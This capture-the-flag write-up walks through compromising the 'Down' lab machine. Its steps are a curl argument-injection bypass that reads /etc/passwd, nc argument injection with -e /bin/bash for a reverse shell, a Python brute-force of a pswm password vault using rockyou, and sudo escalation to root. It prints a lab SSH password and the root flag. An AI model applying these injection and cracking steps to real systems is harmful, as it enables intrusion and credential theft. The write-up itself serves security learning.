Machine Overview

Down is an easy Linux machine. The initial foothold is obtained through command injection in a web application that runs curl and nc. This allows remote code execution and a reverse shell. Local enumeration reveals a password manager storing encrypted credentials, which can be brute-forced to get the userโ€™s SSH password. Finally, the user has full sudo rights, giving root access.

Reconnaissance

A port scan reveals the following open services:

22/tcp open  ssh     syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 f6:cc:21:7c:ca:da:ed:34:fd:04:ef:e6:f9:4c:dd:f8 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBL9eTcP2DDxJHJ2uCdOmMRIPaoOhvMFXL33f1pZTIe0VTdeHRNYlpm2a2PumsO5t88M7QF3L3d6n1eRHTTAskGw=
|   256 fa:06:1f:f4:bf:8c:e3:b0:c8:40:21:0d:57:06:dd:11 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJwLt0rmihlvq9pk6BmFhjTycNR54yApKIrnwI8xzYx/
80/tcp open  http    syn-ack Apache/2.4.52 (Ubuntu)
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Web Enumeration

The web service on port 80 displays:

Is that website down, or is it just you?

Submitting http://127.0.0.1 as input returns the HTML of the local machine, suggesting possible SSRF.

Local File Inclusion

While probing for internal services, nothing useful appears. However, adding arguments such as --help reveals the backend is executing curl.

With --help, the curl help menu is displayed. Direct requests like url=file:///etc/passwd are blocked with Only protocols http or https allowed.

This can be bypassed by chaining:

url=http://127.0.0.1 file:///etc/passwd

Further enumeration reveals the source code at /var/www/html/index.php, which discloses application logic.

<?php
if ( isset($_GET['expertmode']) && $_GET['expertmode'] === 'tcp' ) {
  echo '<h1>Is the port refused, or is it just you?</h1>
        <form id="urlForm" action="index.php?expertmode=tcp" method="POST">
            <input type="text" id="url" name="ip" placeholder="Please enter an IP." required><br>
            <input type="number" id="port" name="port" placeholder="Please enter a port number." required><br>
            <button type="submit">Is it refused?</button>
        </form>';
} else {
  echo '<h1>Is that website down, or is it just you?</h1>
        <form id="urlForm" action="index.php" method="POST">
            <input type="url" id="url" name="url" placeholder="Please enter a URL." required><br>
            <button type="submit">Is it down?</button>
        </form>';
}

if ( isset($_GET['expertmode']) && $_GET['expertmode'] === 'tcp' && isset($_POST['ip']) && isset($_POST['port']) ) {
  $ip = trim($_POST['ip']);
  $valid_ip = filter_var($ip, FILTER_VALIDATE_IP);
  $port = trim($_POST['port']);
  $port_int = intval($port);
  $valid_port = filter_var($port_int, FILTER_VALIDATE_INT);
  if ( $valid_ip && $valid_port ) {
    $rc = 255; $output = '';
    $ec = escapeshellcmd("/usr/bin/nc -vz $ip $port");
    exec($ec . " 2>&1",$output,$rc);
    echo '<div class="output" id="outputSection">';
    if ( $rc === 0 ) {
      echo "<font size=+1>It is up. It's just you! ๐Ÿ˜</font><br><br>";
      echo '<p id="outputDetails"><pre>'.htmlspecialchars(implode("\n",$output)).'</pre></p>';
    } else {
      echo "<font size=+1>It is down for everyone! ๐Ÿ˜”</font><br><br>";
      echo '<p id="outputDetails"><pre>'.htmlspecialchars(implode("\n",$output)).'</pre></p>';
    }
  } else {
    echo '<div class="output" id="outputSection">';
    echo '<font color=red size=+1>Please specify a correct IP and a port between 1 and 65535.</font>';
  }
} elseif (isset($_POST['url'])) {
  $url = trim($_POST['url']);
  if ( preg_match('|^https?://|',$url) ) {
    $rc = 255; $output = '';
    $ec = escapeshellcmd("/usr/bin/curl -s $url");
    exec($ec . " 2>&1",$output,$rc);
    echo '<div class="output" id="outputSection">';
    if ( $rc === 0 ) {
      echo "<font size=+1>It is up. It's just you! ๐Ÿ˜</font><br><br>";
      echo '<p id="outputDetails"><pre>'.htmlspecialchars(implode("\n",$output)).'</pre></p>';
    } else {
      echo "<font size=+1>It is down for everyone! ๐Ÿ˜”</font><br><br>";
    }
  } else {
    echo '<div class="output" id="outputSection">';
    echo '<font color=red size=+1>Only protocols http or https allowed.</font>';
  }
}
?>

User

The code shows an additional feature called expertmode, which executes:

nc -vz <ip> <port>

Since nc is being executed, appending -e /bin/bash provides a reverse shell:

We catch the shell as www-data and obtain the user flag.

During enumeration, we find a file under /home/aleks/.local/share/pswm/:

www-data@down:/home/aleks/.local/share/pswm$ cat pswm; echo

e9laWoKiJ0OdwK05b3hG7xMD+uIBBwl/v01lBRD+pntORa6Z/Xu/TdN3aG/ksAA0Sz55/kLggw==*xHnWpIqBWc25rrHFGPzyTg==*4Nt/05WUbySGyvDgSlpoUw==*u65Jfe0ml9BFaKEviDCHBQ==

pswm is identified as a Python-based password manager:

www-data@down:/home/aleks/.local/share/pswm$ which pswm
/usr/bin/pswm

www-data@down:/home/aleks/.local/share/pswm$ cat /usr/bin/pswm
#!/usr/bin/env python3

"""
@file     pswm
@date     04/05/2023
@version  1.5
@change   1.5: Code linting
@license  GNU General Public License v2.0
@url      github.com/Julynx/pswm
@author   Julio Cabria
"""
[SNIP]

github.com/Julynx/pswm A simple command line password manager written in Python.

To recover the stored secret, we brute force the master password with a custom script (made by chatgpt xD):

import cryptocode

ciphertext = """e9laWoKiJ0OdwK05b3hG7xMD+uIBBwl/v01lBRD+pntORa6Z/Xu/TdN3aG/ksAA0Sz55/kLggw==*xHnWpIqBWc25rrHFGPzyTg==*4Nt/05WUbySGyvDgSlpoUw==*u65Jfe0ml9BFaKEviDCHBQ=="""

with open("/usr/share/wordlists/rockyou.txt", encoding="latin-1", errors="ignore") as f:
    for pwd in f.read().splitlines():
        plain = cryptocode.decrypt(ciphertext, pwd)
        if plain:
            print(f"[+] Password encontrada: {pwd}")
            print("[+] Contenido desencriptado:")
            print(plain)
            break

This reveals Aleksโ€™s password.

Root

We log in via SSH:

ssh [email protected]
Password: 1uY3w22uc-Wr{xNHR~+E

Checking sudo permissions:

aleks@down:~$ sudo -l
[sudo] password for aleks: 
Matching Defaults entries for aleks on down:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User aleks may run the following commands on down:
    (ALL : ALL) ALL

With full sudo rights, privilege escalation is trivial:

aleks@down:~$ sudo su
root@down:~# cat root.txt
87bb9869a311b8abb5fb4d3c7248fdcb

written by 0xbara